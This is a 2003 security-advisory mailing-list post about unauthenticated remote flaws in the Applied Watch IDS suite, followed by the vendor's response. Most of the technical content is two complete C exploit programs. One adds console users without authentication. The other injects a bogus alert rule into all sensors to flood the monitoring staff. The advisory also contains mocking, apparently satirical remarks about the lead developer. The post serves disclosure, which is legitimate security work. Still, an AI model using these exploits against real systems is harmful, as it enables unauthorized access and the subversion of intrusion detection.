[NEWS] Multiple Remote Issues in Applied Watch IDS Suite
From: SecuriTeam (support_at_securiteam.com)
Date: 11/30/03
- Previous message: SecuriTeam: "[UNIX] GNU Screen Buffer Overflow (Negative Size)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 30 Nov 2003 14:16:28 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Multiple Remote Issues in Applied Watch IDS Suite
------------------------------------------------------------------------
SUMMARY
The <http://www.appliedwatch.com> Applied Watch Command Center "boasts
the industry's first truly OS-native platform for managing network threats
in real-time. It frees users from the unreliable, more difficult, and
less-secure Web-based monitoring environment of Snort IDS sensors. From a
central, desktop console Supporting Mac, Linux, UNIX, and Windows,
thousands of IDS agents and the server can be monitored. The Command
Center gives you these benefits:
1. Interprets alerts generated by third-party solutions, parsing the
alerts into high, medium, and low priority
2. Allows you to identify false positives
3. Lets you store notes on events to prevent duplication of effort,
saving valuable man-hours
4. Provides greater security with an OS-native, desktop console
5. Lets you avoid the high cost of Security Information Management
Systems (SIMs)
6. Reduces your IDS cost of ownership"
It should also be noted that the lead developer of this system is named
Jason Ish, who is a member of the core OpenBSD development team and is
therefore a security expert. He has a son named Theo, named after the
great pioneer of proactive security, Theo Deraadt.
There exist a number of vulnerabilities in the various components of the
Applied Watch software suite; this advisory being the first of many to
come regarding the various logic-related security vulnerabilities in the
software. After all such problems are eliminated from the codebase, we
will begin releasing another set of advisories concerning multiple
instances in the code that allow for the remote execution of arbitrary
code throughout the various components of this system.
DETAILS
Vulnerable systems:
* Applied Watch version 1.4.4 and prior
Immune systems:
* Applied Watch version 1.4.5
Adding a User:
Using the attached program, appliedsnatch.c, a malicious individual on a
network protected by the Applied Watch Solution can add new users to a
console, without having to authenticate to the system.
Exploit:
- --- begin appliedsnatch.c ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#define PUT_UINT32(i, val)\
{\
buf[(i) ++] = ((val) >> 24) & 0xff;\
buf[(i) ++] = ((val) >> 16) & 0xff;\
buf[(i) ++] = ((val) >> 8) & 0xff;\
buf[(i) ++] = (val) & 0xff;\
}
int main(int argc, char *argv[])
{
unsigned char *buf;
unsigned int idx, i;
size_t userlen, passlen, buflen, lenidx;
int sock;
struct sockaddr_in sin;
unsigned char respbuf[28];
ssize_t n;
SSL_CTX *sslctx;
SSL *ssl;
if (argc != 5) { fprintf(stderr, "usage: %s <host> <port> <user>
<pass>\n", argv[0]); exit(1); }
userlen = strlen(argv[3]);
passlen = strlen(argv[4]);
buf = malloc(buflen = 12 + 4 + userlen + 4 + 4 + passlen + 4 + 4 + 4);
memset(buf, 0, buflen);
idx = 0;
PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver */
PUT_UINT32(idx, 0x6a);
lenidx = idx;
PUT_UINT32(idx, 0xf00fc7c8);
//PUT_UINT32(idx, 0); /* uncomment for other protocol ver */
PUT_UINT32(idx, userlen);
memcpy(&buf[idx], argv[3], userlen); idx += userlen;
idx |= 3; idx ++;
PUT_UINT32(idx, passlen);
memcpy(&buf[idx], argv[4], passlen); idx += passlen;
idx |= 3; idx ++;
PUT_UINT32(idx, 0x1);
PUT_UINT32(idx, 0x1);
PUT_UINT32(lenidx, idx);
printf("connecting\n");
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1)
{
struct hostent *he;
if ((he = gethostbyname(argv[1])) == NULL) {
perror("gethostbyname()"); exit(1); }
memcpy(&sin.sin_addr, he->h_addr, 4);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
perror("connect()"); exit(1); }
printf("doing ssl handshake\n");
SSL_load_error_strings();
SSL_library_init();
if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) {
fprintf(stderr, "SSL_CTX_new()\n"); exit(1); }
if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n");
exit(1); }
if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n");
exit(1); }
if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n");
exit(1); }
printf("sending %u bytes:\n", idx);
for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]);
if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); }
printf("\nreading:\n");
i = 0;
while (i < sizeof(respbuf))
{
if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) {
perror("read()"); exit(1); }
i -= n;
}
for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]);
printf("\n");
printf("adding user \"%s\" with password \"%s\" %s\n", argv[3], argv[4],
(memcmp(&respbuf[16], "\x00\x00\x00\x00", 4) == 0)? "succeeded" :
"failed");
SSL_shutdown(ssl);
close(sock);
return 0;
}
- --- end appliedsnatch.c ---
Adding a Rule:
Using the second attached program, addrule.c, a malicious individual can
introduce custom IDS alerts to all sensor nodes on a network, allowing a
human denial-of-service attack against the security experts monitoring the
console. This is a valid technique for subverting intrusion detection
systems. This is also a demonstration of the "sometimes good packets look
like bad packets, while bad packets go unnoticed by the intrusion
detection system" concept.
Exploit:
- --- begin addrule.c ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#define PUT_UINT32(i, val)\
{\
buf[(i) ++] = ((val) >> 24) & 0xff;\
buf[(i) ++] = ((val) >> 16) & 0xff;\
buf[(i) ++] = ((val) >> 8) & 0xff;\
buf[(i) ++] = (val) & 0xff;\
}
int main(int argc, char *argv[])
{
unsigned char *buf;
unsigned int idx, i;
size_t rulelen, buflen, lenidx;
int sock;
struct sockaddr_in sin;
unsigned char respbuf[28];
ssize_t n;
SSL_CTX *sslctx;
SSL *ssl;
unsigned char *ruleset = "alert tcp any any -> any any (msg: \"*GOBBLE*
*GOBBLE* *GOBBLE* *GOBBLE* \\:PpppppPPppppppPPPPPPpppp\";)";
if (argc != 3) { fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(1); }
rulelen = strlen(ruleset);
buf = malloc(buflen = 12 + 4 + 4 + 4 + rulelen + 4);
memset(buf, 0, buflen);
idx = 0;
PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver */
PUT_UINT32(idx, 0x6f);
lenidx = idx;
PUT_UINT32(idx, 0xf00fc7c8);
//PUT_UINT32(idx, 0); /* uncomment for other protocol ver */
PUT_UINT32(idx, 0);
PUT_UINT32(idx, 1);
PUT_UINT32(idx, rulelen);
memcpy(&buf[idx], ruleset, rulelen); idx += rulelen;
idx |= 3; idx ++;
PUT_UINT32(lenidx, idx);
printf("connecting\n");
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1)
{
struct hostent *he;
if ((he = gethostbyname(argv[1])) == NULL) {
perror("gethostbyname()"); exit(1); }
memcpy(&sin.sin_addr, he->h_addr, 4);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
perror("connect()"); exit(1); }
printf("doing ssl handshake\n");
SSL_load_error_strings();
SSL_library_init();
if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) {
fprintf(stderr, "SSL_CTX_new()\n"); exit(1); }
if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n");
exit(1); }
if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n");
exit(1); }
if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n");
exit(1); }
printf("sending %u bytes:\n", idx);
for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]);
if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); }
printf("\nreading:\n");
i = 0;
while (i < sizeof(respbuf))
{
if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) {
perror("read()"); exit(1); }
i -= n;
}
for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]);
printf("\n");
printf("adding nasty ruleset %s\n", (memcmp(&respbuf[16],
"\x00\x00\x00\x00", 4) == 0)? "succeeded" : "failed");
SSL_shutdown(ssl);
close(sock);
return 0;
}
- --- end addrule.c ---
Vendor Response:
Applied Watch Technologies embraces and fully supports the open-disclosure
community. Further to that, we embrace responsible disclosure where
vendors are given ample time to develop and release a patch in
coordination with any posts made by the researchers to protect our
customers.
In this instance, Applied Watch Technologies, Inc. was not contacted by
any Bugtraq.org (Gobbles) researchers in this advisory they released.
Quoting a news report I was quoted in that had no affiliations with
Applied Watch Technologies or its network from August of 2002 is not what
I would call a reason for no vendor notification or lack there of from
Bugtraq.org.
No vendor is immune to posts on Bugtraq. Flaws in code exist, we are very
appreciative for any audits of our product that researchers do, however,
in all fairness; the vendor should be given an opportunity to know about
them so countermeasures can be put in place and made available.
To this end, Applied Watch Technologies has made new versions available
for all pilot evaluations in progress, as well as current customers. New
versions of the Applied Watch Server (v1.4.5) can be downloaded from
<https://my.appliedwatch.com> https://my.appliedwatch.com. It should be
noted that Applied Watch responded with a fix within an hour of the
Bugtraq post being made public.
Based on the Bugtraq.org advisory, Applied Watch understands their are
"hundreds" of other vulnerabilities that have been found. We urge any
researcher at Bugtraq.org to contact us at support@appliedwatch.com with
details on these other suspected vulns before going public with them short
of a patch provided by Applied Watch.
Anyone with questions or concerns can contact us toll free at: (877)
262-7593 or support@appliedwatch.com
Regards,
Eric Hines
CEO, President
Applied Watch Technologies, Inc."
ADDITIONAL INFORMATION
The original advisory is available for download from:
<http://www.bugtraq.org/advisories/_BSSADV-0000.txt>
http://www.bugtraq.org/advisories/_BSSADV-0000.txt.
The information has been provided by <mailto:research@bugtraq.org>
Bugtraq Security Systems and <mailto:eric.hines@appliedwatch.com> Eric
Hines.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] GNU Screen Buffer Overflow (Negative Size)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [Full-disclosure] CORE-2008-0204: Timbuktu Pro Remote Path Traversal and Log Injection
... Core Security Technologies - CoreLabs Advisory ... CORE IMPACT's Exploit Writing
Team, Core Security Technologies. ... (Full-Disclosure) - CORE-2008-0204: Timbuktu Pro Remote Path Traversal and Log Injection
... Core Security Technologies - CoreLabs Advisory ... CORE IMPACT's Exploit Writing
Team, Core Security Technologies. ... (Bugtraq) - RE: alert messages
... Security event management and correlation products, ... also correlate
an IDS alert with whether or not the target system appears to ... The benefit is that the number
of alerts you see is significantly reduced, ... the comprehensive security solution
that combines six ... (Focus-IDS) - [Full-disclosure] [NETRAGARD-20061109 SECURITY ADVISORY] [HP Tru64 libpthread buffer overflo
... The pthread library (libpthread) provides interfaces for developing ... crafted
buffer and inserting it into the PTHREAD_CONFIG variable. ... managed security services
which enable its clients to take a proactive ... provided in this advisory. ...
(Full-Disclosure) - Re: [2nd attempt] keep getting Windows firewall message
... alerts, or rather a way to keep the user settings for alerts from ...
I have come up with a solution that does not disable Security Center, ... By changing the
Permissions of that key, ... (microsoft.public.windowsxp.general)